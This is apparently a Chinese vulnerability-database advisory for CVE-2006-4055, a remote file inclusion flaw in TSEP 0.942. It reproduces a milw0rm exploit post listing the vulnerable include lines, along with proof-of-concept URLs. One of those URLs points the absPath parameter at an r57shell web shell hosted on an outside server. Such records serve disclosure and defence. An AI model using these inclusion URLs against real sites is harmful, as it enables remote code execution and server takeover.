The Search Engine Project (TSEP) 'colorswitch.php'远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110737 漏洞类型 输入验证
发布时间 2006-08-02 更新时间 2006-08-16
CVE编号 CVE-2006-4055 CNNVD-ID CNNVD-200608-158
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2116
https://cxsecurity.com/issue/WLB-2006080063
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200608-158
|漏洞详情
TheSearchEngineProject(TSEP)是一种开源的Web站点内容搜索软件。TSEP处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。TSEP的colorswitch.php脚本没有正确验证tsep_config[absPath]参数的输入,允许攻击者通过包含本地或外部资源的任意文件导致执行任意PHP代码。
|漏洞EXP
Script: TSEP <= 0.942
URL:  www.tsep.info
Discovered: beford <xbefordx gmail com>
Comments: "register_globals" must be enabled duh.
document.this != http://www.milw0rm.com/exploits/2098
Vulnerable Files/Code:

./tsep.0942/include/colorswitch.php?tsep_config[absPath]=http://rst.void.ru/download/r57shell.txt?
./tsep.0942/include/printpagedetails.php => require_once(
$tsep_config["absPath"]."/include/convert_htmlent.php" );
./tsep.0942/include/ipfunctions.php => require_once(
$tsep_config["absPath"]."/include/IPv6.php" );
./tsep.0942/include/contentimages.class.php => require_once(
$tsep_config["absPath"]."/include/contentimages.class.php" );
./tsep.0942/include/configfunctions.php => require_once(
$tsep_config["absPath"]."/include/mmexfunctions.php" );
./tsep.0942/include/log.class.php => require_once(
$tsep_config["absPath"]."/include/tseptrace.php" );

Not-leet-enough: "Powered By TSEP"

POC:
http://hax.com/tsep/include/colorswitch.php?tsep_config[absPath]=http://remotefile/?

# milw0rm.com [2006-08-02]
|参考资料

来源:BID
名称:19326
链接:http://www.securityfocus.com/bid/19326
来源:BUGTRAQ
名称:20060802TSEP<=0.942RemoteFileInclude
链接:http://www.securityfocus.com/archive/1/archive/1/442098/100/0/threaded
来源:MILW0RM
名称:2116
链接:http://www.milw0rm.com/exploits/2116
来源:sourceforge.net
链接:http://sourceforge.net/forum/forum.php?thread_id=1546639&forum_id=369628
来源:sourceforge.net
链接:http://sourceforge.net/forum/forum.php?forum_id=597790
来源:SECUNIA
名称:21291
链接:http://secunia.com/advisories/21291
来源:XF
名称:tsep-copyright-file-include(28107)
链接:http://xforce.iss.net/xforce/xfdb/28107
来源:SREASON
名称:1354
链接:http://securityreason.com/securityalert/1354
来源:MILW0RM
名称:2116
链接:http://milw0rm.com/exploits/2116